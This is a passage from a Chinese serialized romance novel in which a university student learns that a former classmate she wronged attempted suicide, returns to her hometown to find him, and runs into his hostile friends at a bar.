深夜,周念躺在床上发呆,她快忘了刚才江池是怎么离开的。只记得门口那一阵阴冷刺骨的风和屋檐下连缀成线的雨,只记得他最后那个决绝的眼神和落寞的背影。 她看了眼手机,凌晨两点多,毫无睡意。她回到桌前,手指划过书架上一众书籍,定在白色小罐前。她直起身子定定地看着白色小罐,贴纸的朝向从原来的朝外转向右偏,是被人动过的痕迹。 不知为何,她又不想吃了,就这样她干坐在桌前,目光涣散,纹丝不动,任由黑夜过渡到白昼。 后面的日子,日复一日的过着,听说事情影响不好,傅研被辞退了,周宏伟被通报批评后调岗去了隔壁省市,张宁没和他离婚,旁人问起那件事还会维护说‘就是个误会,别有用心的人做出来的视频,这怎么能信呢’。 周念也像从前那样,除了学校和家里几乎不涉足其他地方,就连图书馆也很少去了。 礼堂发生的事叶琳通常是避而不谈,但看周念的话越来越少,一天中除了基本的沟通再不会提及生活上的琐事,叶琳开始担心她。 “小念,你没事吧。” 周念低着头作业,仿佛没听见似的。 叶琳害怕极了推了推她,她才有点反应。 “嗯?” “你这样,我好害怕。” 叶琳一把抱住她:“小念,你说说话吧,你这样我好害怕啊。” “我没事。” 周念捧着她的脸,给她吃下定心丸。 “我不会有事的,很快就高考了,很快我就能离开这里了。” 第46章 第46章北城的冬天裹在雪里…… 北城的冬天裹在雪里,这场雪从早下到晚,洋洋洒洒地将建筑物的边边角角裹上柔软棉絮。沈知夏拿着手机,朝窗外探了眼,原先的白被黑夜镀上幽蓝。 “当然想你啊。” 她羞涩地扭捏了下,笑着把自己裹成蚕蛹状。 “你真来啊,那你住哪儿啊?我才不跟你出去住呢,我得回宿舍,谁知道你要做什么。” 隔壁床的林微微受不了小情侣间肉麻的谈话,她探出个脑袋朝斜下方的周念探身问道。 “小念,马上放假了,你什么打算。” 周念正在桌前翻阅资料,心里默念完最后一行英文才抬头说。 “没什么特别的打算,不出意外应该是留下来给教授当助手。” 林微微纳闷:“过年也不回去?” 这次周念只顾自己看书:“嗯,不回去了,实验不能中断。” 林微微眼珠子一溜,回想道:“你好像去年也没回去。” “科研固然重要,亲情也重要啊,你这三番四次不回家,不知道的以为你是为了在老师面前表现呢。” 周念将书翻页:“随他们怎么想。” 煲完电话粥,沈知夏掀开被子,同林微微一样趴在床栏上探个脑袋说话。 “姐妹们,后面几天我就不陪你们咯,我男朋友得过来住几天。” 林微微捏着嗓子学她撒娇。 “呦呦呦,出去住几天啊,别出‘人命’就行。” 沈知夏嘟着嘴娇嗔地把怀里的鲨鱼抱枕甩过去。 “胡说八道,嘴巴里没一句好话。” 说完转而问起周念:“对了小念,上次那个在楼道里跟你表白的眼镜男,有下文吗?” 周念的荧光笔在文献上划出流畅弧线,待标注完重点才抬眼,半开玩笑说:“谁跟你们说人家是来表白的,其实他是抢劫的,我掏了五块钱把他打发了。” 沈知夏给她一个白眼:“鬼才信你。” “不过”林微微接话道:“那男的条件还不错啊,长得周正,会穿衣打扮。跟他聊过几句,谈吐教养都没问题。” 沈知夏摇摇手指,有模有样地分析:“像我们小念这样长得不错,专业又强又上进的女生根本不缺追求者。一直不恋爱就一个原因。” 林微微:“什么?” “心里有个爱而不得的呗。”沈知夏冲周念扬了扬下巴:“你说是不,小念。” 周念垂眸看书,手指下意识地捏着书页一角,摇了摇头。 沈知夏瞧她不正面回应,立刻指着她激动道:“你心虚了,是不是。” 这时桌面因手机震颤而抖动,周念瞥了眼,来电显示是方妙。 她接起电话:“妙妙?” “小念,明晚去吃火锅啊。” 方妙和周念一样,毕业后考到了北城,除去和男朋友在一起的时间她也会时不时来找周念打发周末。 周念:“明天?不是周末吗,有什么事情吗?” 方妙故弄玄虚道:“哎呀,来嘛,明天再告诉你。” 周念:“好吧。” 通话的间隙,沈知夏给林微微使了个眼色,两人默契地挨近彼此,沈知夏掩着嘴凑近林微微耳畔。 “小念抽屉里压着她和一个男人的照片,长得绝了,那眼镜男跟他没法比。” 林微微疑惑:“你怎么知道?” 沈知夏:“我偷瞄到的。” 林微微:“真的假的?” 沈知夏:“骗你我期末全挂科。” 林微微:“怪不得。” 第二天下午,周念在实验室做药物提纯试验,等仪器预热的时候身边的台面上无声无息地多了几份项目资料。这时,带她的孙教授孙正已经在她跟前。 “周念,这段时间有几个科研项目会陆续开展,基本都是和大医院合作的优质项目。一般这种项目名额会给到大四的学长学姐头上,但我觉得你完全有能力跟进。所以如果你有想法,我可以帮你举荐。” 这是好事,周念不假思索地回复:“谢谢孙教授认可,有这个机会我当然不能错过。” 孙正欣慰地笑笑:“我就知道你会去。不过呢,先说好一旦跟进了,可能就没时间回家过年了。” 周念:“没关系,我本来也没回去过年的打算。” “是吗 ?“孙正眼底闪过疑虑却未追问,他将台面上的资料依次摆开,屈指敲了敲封面介绍:“这几个项目都还不错,一个在北城,一个在海市,剩下一个在你老家银城。我粗粗地看了一下,三个项目的等级差不多,但是北城和海城毕竟是大城市,设备资源都不错。你有什么想法吗?” 周念想了想说:“您等我把资料带回去看看,我自己分析一下,大概率会在北城,毕竟这里方便。” 孙正:“那行,你好好看看。到时候给我答案。” 周念:“好,谢谢孙教授。” 实验一做就是一下午,周念整理完数据,将台面上的资料放进包里,关门锁门一气呵成。她裹着羽绒服,将口鼻埋在领子里,北城的寒风如芒刺扎过脸颊,疼得她直抽冷气。 路程过半,她感觉到大衣口袋的手机在震动,于是加快脚步跑向宿舍。 回到宿舍,扯下围巾手套,周念看了眼手机是张宁打来的。 初到北城时,张宁的掌控欲化作每日十几通电话,从交友对象到晚餐菜式都要远程指挥,甚至差点举家搬来北城。周念实在忍无可忍,直接请假关机玩失踪,一走就是一个月,最后张宁无奈妥协。那会儿周念下定决心不再花家里一分钱,张宁和周宏伟执意要给她也不收,靠着奖学金和凌晨替教授校对论文的兼职熬过两年。 虽然这两年张宁不敢频繁地给她打电话,但每次来电,周念总是发自内心地抗拒。她犹豫片刻,最终回拨过去。 “妈。” 另一头是‘哒哒’剁菜的声音。 “快放假了吧,什么时候回来啊。” “课业比较忙,今年估计不回来了。” “这样啊”张宁迟疑道:“那要不我跟你爸去北城,一家三口总要吃个团圆饭的。” 周念干脆利落地拒绝:“不用了,你们过来我也没时间陪你们。” “过年这几天也忙?抽出一两天总没问题吧。” “真没时间。” 剁菜的声音渐渐停滞,空旷的厨房显得张宁声音愈发孤寂。 “妈就是想你了。” 周念垂眸扯笑:“妈,不是您自己说的,学业最重要吗?” “也对。”张宁默了秒,话锋一转说:“对了,琳琳谈朋友了,有跟你说吗?” 叶琳高中毕业后考了当地的美院,和周念的联系没像上学那会儿频繁,但感情上的大小事总爱找她倾诉,她恋爱的事情周念是知道的。担心张宁是为了套话,周念含糊道:“最近没怎么跟琳琳聊天。” “这样啊,我看她男朋友挺不错的,机关单位任职,年纪轻轻都当科长了。”张宁笑笑说:“我让你爸也留意单位里的青年才俊,有合适的,你们可以加个微信聊聊……” 周念说:“知道了,以后再说吧。” 方妙选的火锅店藏在商场顶层,装修是现下最流行的新中式风格。推门瞬间恍入江南雨巷,乌篷船改装的卡座悬在浅溪之上,几尾锦鲤在碧荷间游弋。船帘保护顾客私密性的同时也增加了周念找人的难度。 “小念,这里!” 方妙走到船头冲她招手。待周念走近,挽起她的胳膊刻意压低了声:“里面还有我的两个高中同学,不介意吧。” 周念笑着反问她:“我在你眼里那么小气啊?” 方妙恨不得在她脸上啄一口,撒娇说:“当然没有,问问嘛。” 几人落座后,方妙介绍对方认识,简单寒暄一番才让服务员上菜。上菜的间隙,方妙给每人发了一张红色请帖。 周念不确信地反复翻看,将里面的字读了整整两边,这时边上的女生爆发尖叫:“啊!你们要结婚啦?大三就结婚?” 方妙亲昵地倚靠在男朋友身侧,语气娇嗔:“还不是他啦,嫌我越来越漂亮了,老说自己没安全感,非要结婚。” 周念将请帖放在一边,抬眸稍稍打量起方妙的男朋友,方妙和他从校园恋爱算起也有三四年了,但这也是周念第一次见他。看起来为人还算和善,眉眼含笑,待人周到,桌上添茶倒水一点也不含糊。 男人不好意思地摸摸后脑勺:“没办法,太喜欢她了,总患得患失的。我看很多学姐学长都在大学结婚,蛮好的还有学分加。” 说完又补充道:“放心,房子车子我都买了。银城的和北城的都买好了,不会委屈妙妙的。” 桌上两女生相互挤眉弄眼。 “哎呦,太肉麻了。” “啧啧啧,以后就是已婚人士了。” 方妙耳尖烧得通红,忙用公筷给大家夹菜。老朋友重聚总绕不开身边人那些最猎奇的八卦。 “记得三中捅人那个?放出来了。” 周念邻座的圆脸姑娘突然开口,顺手捞了片毛肚。 “这么快?”有人筷子停在半空。 那女生一脸‘你真没见识’的表情,搁下筷子说。 “谅解书加减刑呗。”讲到一半,怕有人偷听似的,她左右看了眼才说:“他妈本来就是大官,里面打点一下就出来了。” 说完感慨道:“时间真快啊。” 话题转到高中八卦,另一个穿黑毛衣的女生也跟着聊了起来:“你们还记得隔壁班那校草吗?” 方妙咬着筷子听得入神:“哪个?” “江池啊。” 周念蓦地抬眸看向那女生,都多少年没听到这个名字了,再次提及居然一点也不陌生。 方妙对江池还有印象:“江池怎么了?” 穿黑毛衣的女孩突然面露遗憾,唏嘘道:“自杀了。” 第47章 第47章我要回银城 话音未落,瓷碗碎裂的脆响撕裂了所有人语,几人看了过来,周念身形一僵,无措地看着地面的碎碗,慌忙蹲下身收拾。方妙跟着蹲下,发现她脊背僵直,机械地捡拾碎片。待她抬眼,方妙倒吸一口冷气。 “小念,你脸色怎么那么难看?” “我没事。”她顶着一张煞白的脸说道:“你们继续吃。” 周念只觉得双腿发软全身无力。方妙直觉她有事,将她扶起坐稳,小声说:“是不是身体不舒服?” 周念摇头:“没。” 几人只当是小插曲,继续话题。 “是自杀了,好在被救回来了。” 周念这才刻意压制气息,缓了口气。 方妙见周念无恙插话道:“他怎么会自杀啊,看上去不像是会自杀的人。” 黑毛衣女孩回忆起别人的叙述。 “说法挺多的,大差不差,我也不知道哪个是真的?” 方妙:“那你挑最可信的说。” 黑毛衣女孩啃了口土豆,慢悠悠地讲起这事儿。 “据说江池当年特别喜欢一女生,那女生手段也绝,钓着他玩呢,突然玩腻了,说甩就甩。本来他就郁郁寡欢的,偏偏这时候他妈出事了,他妈是一中老师,据说那天是学校的元旦汇演,大屏幕突然跳成他妈和台上领导的亲密视频,全校都炸了锅。江池就在台下,眼睁睁看着亲妈被人扒了脸皮。” 她拿土豆在餐盘里划拉出几道印子。 “本来他跟他妈关系就僵,这件事后江池就彻底不理他妈了。他妈天天守在他那别墅门口,有回,他妈吃完闭门羹回家路上,被辆逆行的货车撞飞了。情况不 乐观一直不见醒,在医院躺了两年,江池就守着病床伺候了两年,最后还是没留住。出殡那天他舅舅发酒疯,当众把他揍倒在地,红着眼睛骂‘你们父子俩都是灾星!你爹当年为了拿地拿项目,亲手把你妈往领导被窝里送,现在倒好,连命都搭进去了!’” “再后来他姑让他接手家里公司和码头,他死活不肯。这不,就出这事儿了。” 女孩戳着凉透的土豆,声音渐渐低了下去。 等她讲完,一旁默不作声的方妙男友才突然插上一句:“惨是挺惨的,但人都没了,还装什么清高,公司和钱他不拿,不也被他姑父掌控了吗?” 方妙白他一眼:“你有没有同情心啊?” 方妙男友理直气壮:“我说错了吗?我们从小到大拼命努力不就是为了更好的生活,现成的家业非要往外推,寻死觅活的一点不爷们。” 方秒狠狠剜他:“你再说。” “行行行,我闭嘴。” 这话题只引发几阵唏嘘,几个人便转而讨论起其他事情。周念神色木然地看着锅内冒出的热气,之后的话一句也没听进去。 聚会散场,周念打了辆漆面斑驳的老轿车,她盯着车顶霉斑发了会儿呆,随着车身颠簸,涣散的视线在车厢里游移,等她头靠车窗时,视线已钉死在驾驶座头枕。 空调声震得人头疼,周念深深吸气让司机停车。 门开的一瞬,寒风将她不由分说地包裹起来。 鞋子踩在厚厚的雪层上发出咯吱声,走了没两步,胸口突然感到一阵恶心。她慌忙扶着路边护栏,刚刚下肚的食物混着胃酸整个吐了出来。 ** 林薇薇一觉醒来以为天亮了,揉着惺忪睡眼瞥了眼手机,才凌晨一点半。斜下方有光透过来,她扶着床围将脑袋支起,看到周念纹丝不动地坐在桌前。 “小念?” 周念一怔,回过头:“嗯?” “还不睡?” “打扰到你了?”周念把台灯灭了,整个人瞬间融入黑暗中:“睡吧。” 暗中听到林薇薇长叹一声,随即传来栏杆晃动的吱呀声,她摸索着去了厕所,返回时借着手机屏幕的微光停在周念身边。 “怎么还不上去啊?” “我一会儿就上去。” “想什么呢?” “没什么。” 林薇薇提起自己的椅子,轻手轻脚挪到周念身侧,落座后将手搭上周念的肩膀,语气关切。 “小念,我发现你这人挺特别的。” 没头没脑来这么一句,周念扭头看她。黑暗吞噬了所有表情,但能感觉到温热的呼吸近在咫尺。 周念微微勾唇:“我怎么了?” 林薇薇想了想,搭在周念肩头的手已经悄然下滑,转而牵起她的手。 “刚见面那会儿,以为你是被家里保护得特别好的娇娇女。长得白白嫩嫩、斯斯文文,看着就很好欺负的样子。谁知道开学没多久你就玩失踪闹出那么大动静,当时吓得我差点报警,以为好不容易考上首府大学的人,怎么刚来就放弃。” 她捏了捏周念冰凉的指尖继续道:“结果你又突然出现,什么解释都没有,好像那场闹剧根本不存在。相处久了,发现你这人主意特别大,想做什么一声不吭地就做了,而且一点不怕得罪人。也从来不跟人吐露心事,再大的事情都憋心里。” 周念浅浅地笑出声:“我是这种人吗?说得我很不好相处似的。” 林薇薇想当然:“是啊。” 周念半开玩笑说:“怎么,想换寝室了?不想跟我呆在一起了?” “当然没有。”林薇薇将她的手紧紧拽住,轻声说:“我是想说,无论有什么事情,你不妨说出来给我和知夏听听。三个臭皮匠还顶个诸葛亮呢,何况我们三个诸葛亮不是?” 暗中,周念扯了扯唇,没再说话。 林薇薇手指点她:“你看你看,又来了。” 黑夜将沉默拉长,良久才听到周念开口。 “我曾经做过一件事,从始至终我都确信自己没错。总觉得所有的事都是由他们种下的因而结出的果。我不过是适时地撒了点水,让这个果结的快些。原以为事情到此为止,可这些年因此衍生出了我意想不到的悲剧。” 林微微试图去感受她的情绪:“你后悔了?” 暗中周念摇摇头:“不知道,但依我的个性再来一次还是会去做的。” 林薇薇不解:“那你想怎么样?” 周念说:“既已发生的我改变不了,我想尝试去阻止尚未发生的。” 林薇薇:“那你有什么打算?” 周念:“我要回银城。” ** 周念向孙正提出加入银城项目组的计划时,孙正起初有些不解她为何突然改变决定。面对询问,周念条理清晰地说出了两点理由:一是,考虑到自己挺久没回家,她希望借这个机会多陪伴父母,同时也能在家过个团圆年;其次,该项目在银城三院,三院有亲属任职,在学习和生活上都能提供便利。孙正虽试图挽留,但见其态度坚决,便不再多说。 北城到银城飞了三个小时,出站后,周念就在约定的地点候车,不出两分钟,一辆花哨的绿色吉普驶入视野。隔着挡风玻璃车内外两人相视一笑,叶琳挑了挑眉,用表情说‘走,姐妹带你去兜风去’。 车在她跟前停稳,车窗降下,叶琳微歪下头:“美女,上哪儿啊?” 周念故意摆手:“不坐黑车。” “不知好歹了!” 叶琳下车,煞有介事地打开副驾驶门,下巴一抬说道。 “少墨迹,上车!” 南方的冬阴冷刺骨,兴奋神经,周念一直没什么倦意。这会儿,被车内的暖气一熏,她有些犯困。 电台的主持人生拉硬扯讲段子,不仅毫无新意还让人觉得聒噪,叶琳调至音乐台,是一首舒缓的情歌。 “你这一天一个主意,不是说一时半会儿不回来吗,怎么想着回来了?” 周念把椅背放下一截,调整坐姿,闭目养神。 “我要去找他。” “找谁啊?” “江池。” 明明那么久都没提及过这个名字,再次开口却依然熟稔从容,毫不避讳,像唤任何一个与她朝夕相关的人。 叶琳以为自己耳背了,不确信地重复了遍。 “找谁?” “江池。” 话音未落,岔路口突然窜出辆逆行的电动车。轮胎摩擦地面发出刺耳声响,安全带猛地勒住两人肩头。 待车身完全停稳,周念确认没出事后嘱咐她:“以后开车要小心点。” 叶琳无暇顾及这些,脱口骂道:“周念,你是不是有病啊!你去找他,你疯了吧?” 料想到她会是这种反应,周念没什么解释。 “先开车,回头再说。” “你是不是听说什么了?” 叶琳边说边踩下油门。 “就算是真的,跟你也没关系,少往上凑。” 周念抿着唇,不作声,又重新靠在椅背上。窗外天色幽蓝,是从白转黑的过渡色,她偏头看了眼中控台上的时间,十七点十分,银城入夜比北城要早。 得知周念回家,张宁提前张罗一桌好菜,周念到家时正好赶上她做最后一道菜。 周念把行李箱靠在玄关,招呼叶琳换鞋,张宁听到动静握着勺子探出半个身子。 “是念念回来了?” 周念:“嗯。” 叶琳闻声立刻叫人:“张姨,我来吃白饭了。” 菜还在煮,张宁走不开,只得原地招呼:“你这孩子,什么叫吃白饭,照这意思你去接念念回来,阿姨还得给你钱呢。” 叶琳吐了吐舌头卖乖:“那我就不客气了。” 周念去厨房洗手,张宁简单地询问了近况后就冲楼上扬了扬下巴。 “回来了就跟你爸说一声。” “好。” 自从那事以后,周念和周宏伟几乎很少交心,周宏伟自觉有愧,对她的态度也没多加怪罪,但事情既已发生,两人心中终究有了隔阂。 周念拎着行李箱上楼,路过周宏伟门口时顿了顿,她轻轻叩门。没一会儿,里头就传来拖鞋及地的拖沓声。 周宏伟猜到是她,开门时表情略显复杂,惊喜之余还透着点无措。 “回来啦。” 周念点点头只说:“嗯,饭快好了,下去吃饭吧。” 周宏伟:“好。” 饭桌上,张宁一直给周念和叶琳夹菜,除了关心周念的起居,话题也绕不过叶琳的新恋情 。 张宁把大虾夹到叶琳面前的餐盘里。 “琳琳,我听你妈说你交了个税务局的男朋友?” 叶琳讪讪一笑:“我妈怎么什么都跟您说啊。” “这有什么,你这年纪交个男朋友不是蛮正常的。”张宁见怪不怪,眼神瞟向周念:“你那男朋友有没有年纪相仿的单身同事啊,给念念介绍介绍。” 周宏伟先她一步开口:“念念还小不着急。” “你懂什么。”张宁白他一眼,转而对叶琳谄笑:“优质男就这么几个,你不谈自然有人谈,不着急不着急,都被人谈去了。” 叶琳尴尬地挠了挠脸颊,刚要说什么就听周念冷冷一句:“我还不用。” “你不用?” 张宁冷哼一声,没由来地说道:“擦亮眼睛,别找不三不四的回来就行。” 第48章 第48章江池是最后一个到‘夜话…… 晚上,周念被同组学姐拉进了一个名为‘死侍药研组’的微信群,算上她里面一共四个人,其他三个人都已经备注了真实姓名。群简介上赫然写着‘为人类医药事业而献身’。 周念汗颜,这口号未免太大了点,那么中二的名字也不知道是谁取的。没一会儿,大家都开始自我介绍,把年纪班级住址都分享个遍。其中一个叫陈丽的学姐提议。 ——要不明晚我们找个酒吧聚聚吧,破破冰,相互认识认识。 这个提议很快得到另两个人的认可,周念对酒吧破冰这事不感兴趣,又怕自己不去显得不合群,毕竟往后还要接触两三个月,总不能没见面就给人留下‘不好相处’的印象,只得表示同意。 群里有位叫郑渊的学长@了周念:学妹,我家离你家近,明天我可以顺路来接你。 周念婉拒道:谢谢,不用麻烦了,我可以打车去。 郑渊倒是热情:没事,我刚拿到驾照,就当是旁边坐个人给我壮壮胆。 周念: 回银城的消息是临时通知到张宁的,被子都没来得及晒,周念躺在床上鼻腔充盈着一股淡淡的霉潮味。她侧身看着手机,屏幕跳出叶琳发来的徐明手机号码,并备注说。 ——我劝你再考虑考虑,他骂人挺难听的。 周念屈膝坐起,直接拨通电话。 电话那头声音嘈杂,音乐混着人语。 徐明:“喂,谁啊?” 周念:“是我。” 周念二字还未脱口,对面愣了秒,倏然反应过来,只回她一个字就挂断了。 “操。” 没一会儿,一条短信回了过来。 ——我俩没话聊,以后别来烦我。 另一头,徐明挂断电话不安地看了江池一眼,边上的宋佳月问。 “谁啊。” “就一神经病,打错电话了。” ** 经历一路频繁点刹的洗礼,周念差点吐在郑渊车上,下车时,郑渊还特别兴奋地对周念说:“你很棒,之前坐我车的都吐了,你居然没有反应。” 周念:“” 她有理由怀疑‘死侍药研组’这个中二群名绝对是他‘深思熟虑’的结果。 陈丽选的酒吧是位于闹市区一家名为‘夜话’的清吧,周念和郑渊到店时,时间尚早,另外两人还没到,就连驻唱都没来。酒吧空座遍布,郑渊轻车熟路地来到角落卡座,路过吧台时给周念点了杯果汁。 落座后郑渊特意解释:“这家店的鸡尾酒酒精度数偏高,不知道你喝不喝得惯,所以自作主张给你点了橙汁,一会儿等陈丽她们来,你可以和她们一起再选选。” 周念意外于他能如此贴心周到,笑说:“橙汁就够了,我也不会喝酒。” 郑渊开车时侧脸绷紧,加之他棱角分明的脸庞给人一种生人勿近的错觉。可当他转头说话时,那双弯成月牙状的笑眼又将距离瞬间拉近。 他挑了挑眉,用眼神示意周念喝点。 “尝尝?” 果汁还能尝尝什么味儿来?她心中腹诽倒也配合地扯着笑端起果汁,抿了口:“嗯,不错。” 郑渊眨着眼,一脸期待:“喝出点什么没?” “???” 周念绞尽脑汁回想之前喝过的橙汁与这杯到底有什么不同,想了半天想不出,只能胡扯:“甜。” 没想到,郑渊打了个响指:“对了!我特意让人选的黔阳冰糖橙,还加了适量冰糖。” 周念不失礼貌地笑笑,后知后觉道:“这是你开的店?” 郑渊:“嗯。” 周念恍然低喃:“原来如此。” 说话间卡座区已渐次有人落座,驻唱歌手试音时在台上反复调整麦克风高度。暖场是一首调子舒缓的民谣,混着驻唱歌手特有的沙哑声线,显得愈发慵懒随意。 酒吧渐渐满座,人语和碰杯的声响交织成网。 周念正低头查看震动的手机,是陈丽发来群消息。 ——我们俩拼车遇到三车追尾,整条高架变成停车场了,导航显示至少还要四十分钟。 郑渊比周念早一步回消息。 ——不着急,慢慢来。 周念原以为两人寒暄几句后会快速冷场,那知对方是个话痨,想法更是天马行空。说他一共开了三家酒吧,分别叫‘夜话’、‘低语’和‘清唱’,一家开在北城,另两家开在银城。三家分别用来纪念三任前女友。 周念听得直扶额,委实没想到这样一个多财、多情又想法怪异的人居然能定下心来在实验室做实验。甚至有一刹,质疑起他的学术能力是否合格。 ** 江池是最后一个到‘夜话’的,照旧坐在角落一言不发,将自己隔绝在喧嚣之外。要不是徐明和宋佳月怕他想不开再出事,没完没了地跟着他,他甚至连出门的想法都没有。 但与其在家里大眼瞪小眼不如在外面自在点,起码这两人的大部分注意力不会花在他身上。 徐明把牌发在他面前的台面上,轻轻肘击他胳膊。 “玩呗。” 江池垂眸扫过牌,静默数秒,整个人如同时间静止没有一丝生气。 “你们玩。” 徐明看他这样心里特不是滋味,他也不勉强,自顾自把牌扔给边上的人,慢条斯理地从烟盒里抖了根烟说。 “出去抽一根?” 江池:“不抽。” “行,那我出去点一根,马上回来。” 徐明抽完烟回来,绕过吧台时余光瞥见一个熟悉的身影,他下意识地看向角落卡座,发现周念正和一个男人在热聊。 “妈的,阴魂不散。” 他心下嘀咕,得想个法子把江池弄走,省得见了被刺激。正这般想着,边上有人拍了他一下。 “干嘛呢?” 宋佳月寻着他的目光看去,见到周念的一瞬,想都没想,抄起吧台的酒就要过去。 徐明眼疾手快迅速把她拦下:“姑奶奶,你干嘛呀?” 宋佳月愤愤不平道:“阿池都被她害成什么样了,我见不得她好过。” “哎呦喂。” 徐明强行夺下她手里的酒杯,压低声苦口婆心道:“你泼了人然后呢?你想过没,等事情闹大了,阿池就看到她了。万一刺激到他怎么办,改明儿不割腕了直接跳楼,你也跟着跳啊?” 宋佳月慢慢沉住气,红着眼说:“我就是咽不下这口气,要不是因为她,阿池不会这样的。” “算了算了,今天当我们没见过她,行吗?你也别在阿池面前提。” 他双手搭着宋佳月的肩将人转向江池那桌,边走边跟她解释。 “你也收收脾气,你是有对象的人了,轮也轮不着你为阿池打抱不平。真闹出点事儿你男朋友怎么想?看到你不管不顾为了别的男人出头?你倒是勇了,想过你男朋友的感受不?” 被他一番点拨,宋佳月冷静下来。 他再三交代:“记住了,你今天没见过周念。” 宋佳月不情不愿地点头:“知道了。” 江池静坐在那儿,偶尔拿起酒杯喝一口。隔壁桌一个浓妆艳抹,穿着亮片包臀裙,顶着大波浪卷发的女人留意到他,托腮观察许久后端着酒晃到他面前。 女人倒是直白,微微躬身试图去触碰江池的视线。 “帅哥,喝酒吗?” 江池眼睑未抬。 女人干脆坐到他身边,大腿挨着他的裤子,轻轻摩擦。又突然用杯沿猛撞他的酒杯,娇声嗔道。 “怎么不理人呀?” 江池终于抬眼,用看死物的眼神掠过她:“滚。” “你tm有病吧!” 女人大约没受过这般冷落,恼羞成怒道。 “看得起你才请你喝酒,装哪门子的清高。” 徐明箭步冲来隔开两人。 “对不起,对不起美女。他就这毛病,装得很,您别往心里去。” 说完给女人挤眉弄眼,点了点自己的脑子做了个口型。 “他这儿受过刺激。” “晦气。” 女人睨了眼江池,冷哼一声走了。 应付完女人,徐明如释重负地吁了口气,还没坐下,另一头突然响起玻璃爆裂的脆响。 动静实在太大,所有人闻声看去。 也包括江池。 五分钟前,姜小小在走廊撞见卡座周念,几乎是一瞬间,之前总总积怨一股脑涌上心头。她返回吧台,她抄起还在滴水的扎壶疾步上前。 “周念!” 待周念抬头,整壶啤酒兜头浇下。 酒液顺着周念锁骨流进衣领,郑渊见状立刻上前理论,谁料姜小小反手抡起扎壶就要往下砸,幸是郑渊仗着身高优势一把将扎壶夺下,这一幕被破门而入的赵樾撞见,误以为姜小小被人推搡,于是上来就是一拳。 郑渊挨了结结实实的一拳,踉跄倒地,手里的扎壶随之猛然炸开。 看热闹不嫌事儿大的人瞬间将现场包围,赵樾余光扫到周念侧脸的刹那,先是一愣,而后没来由地骤然大笑,笑声戛然而止,忽地冲着另一头喊道。 “阿池,快过来看看谁来了。” 周念浑身血液凝固,倏地转头。目光隔着攒动人群,猝不及防撞进那双如死水般沉寂无波的眼睛。 江池就坐在那儿,闪动的流光,八卦的私语,打探的眼神,周遭一切衬得他如石像般静止。 他瘦了好多。 有那么一瞬,周念觉得他就像条涸辙之鱼,消沉,死寂,奄奄一息,在阳光曝晒下静等死亡,偶尔搅动着泥水,做最后挣扎。 他仅抬了抬眸,又不动声色地移开,就像不曾注意到她。 周念仓促扶起郑渊。 “对不起,我一会儿跟你解释。” 说完起身去寻江池的踪影,他已经离开原位,周念快速扫了一圈,江池正推门而出。 她逆着狂欢的人潮挤开人群。 推开门,银城的寒潮将她逼退半步。熙熙攘攘的马路上,周念无措地徘徊在人群中。晃动的路灯下,她突然感到周围的人都长着同一张脸,一张没有五官的石膏脸,她要在这群人里找那双眼睛。无论它是如何的阴鸷或是愤怒,冷漠或是决绝,她都要找到他。 可逆行的人流如潮水,找不到江池这块浮木,她仿佛要溺死在这人潮中,她有点慌乱,又无从找起。 可惜,最终她也没找到。 她狼狈地站在原地,吸了口冷气,寒风顺着脖颈将原本湿漉的身体吹得越发阴冷。她猛地打了个激灵,气息随着失落的情绪缓缓吐出。 不远处的黑色轿车上,江池坐在驾驶室,望着她的背影点了根烟,白色烟雾在车内弥散成纱幕,视线穿不透烟雾,等烟燃尽,人已经不在了。 第49章 第49章我这样看起来很可怜吗…… 不知是谁报了警,最终一行人全被带进派出所做笔录。酒吧监控显示赵樾单方面动的手,郑渊全程没有还手。起初赵樾还仗着自己背后有人,进派出所时有点不屑。可当警察提到监控证据和郑渊的律师身份时,他后知后觉地意识到——这次踢到铁板了。 他瞬间换了副面孔,佝着腰凑到郑渊跟前,不停地强调是自己看错了,失手打了人。郑渊也是个好糊弄的主,瞧他低声下气地赔不是,这事就不追究了。 走出派出所,周念诚恳地向郑渊道歉。 “实在是不好意思,他们是冲着我来的,没想到连累了你。” “我没事,倒是你,跟他们什么关系,他们为什么要这样?” 郑渊实在想不通,面前这个看似柔弱的女生到底是做了什么事情才能让对方如此怀恨在心。 周念只说:“一时半会儿也说清,以后慢慢跟你解释。” ** 徐明担心江池受刺激做出极端行为,索性跟着他回到出租屋。这间60平的两室一厅位于老城区,斑驳的自建楼已有二十年楼龄。房子老得没有围墙和绿化,甚至连一个像样的物业都没有。以至于楼道最后一个电灯报废,也没人来维修一下。 江池的屋子位于三楼,这是他舅舅吐露傅研非要离婚的真相后租的。 徐明站在黑黝黝的楼道里等江池开门,门一开,浓重刺鼻的烟酒味扑面而来,徐明抢先跨过门槛按下开关,白炽灯管在头顶闪烁两下才亮起来。 “我去,你到底喝了多少啊?” 徐明一脚踹开挡路的空酒瓶,径直走到窗门,他打开门窗试图让风将屋内的味道驱散。 “不要命啦!” 江池把钥匙扔在桌上,佝偻着背陷进沙发,随后闷了声。 “嗯。” 意识到说错话,徐明恨不得抽烂自己这张臭嘴,他边收拾桌上的酒瓶边唠叨:“我跟你说,今晚的事儿,你就当是做了个梦,该忘就忘了。” 说完忍不住吐槽起赵樾:“阿樾也是神经病,明明知道” 后半句,他没往下说。 江池点了根烟,衔在嘴里,打火机盖弹开又合上,火苗一明一灭,反反复复。 徐明把角落的易拉罐踩扁装进垃圾桶,路过江池时抽走他嘴里的烟:“差不多得了,今天都第几根了。” 江池枕着沙发闭眼后仰,喉结在顶灯惨白的光晕里滚动。 “我没事,你早点走吧。” 徐明把垃圾打包丢在门口,回到冰箱拿了两瓶矿泉水。 “任何时候都能走,今天不能。” 江池忽然从胸腔挤出一声闷笑:“为什么?” 徐明一愣,顾左右而言他:“对了,手机给我,我给你加几个漂亮妹子。” 说着去捞桌上的手机,手机没上锁,徐明把自己记忆中有点姿色的单身女性都推荐给了江池,顺道帮他将人一一加上。 “都是大美女,盘正条顺的。” 半晌,又听他说:“因为周念吗?” ** 第二天晚上,周念又去了‘夜话’。 这次她是一个人来的,到店时时间尚早。她点了一杯普通果汁坐在吧台前,目光每隔几秒便瞥向门口。 等了半晌仍不见人影,周念抿了口果汁,忽然向调酒师探身问道:“昨天打架那人,常来吗?” 调酒师擦拭酒杯的动作顿了顿,沉吟片刻点头道:“隔三差五就来。你找他们?” 周念刚要开口,调酒师却用下巴朝门口一扬:“这不就来了么?” 她倏然回头,看见徐明和赵樾一行人鱼贯而入。他们熟门熟路地走向昨晚的老位置。 她冲调酒师颔首道谢后,径直走了过去。 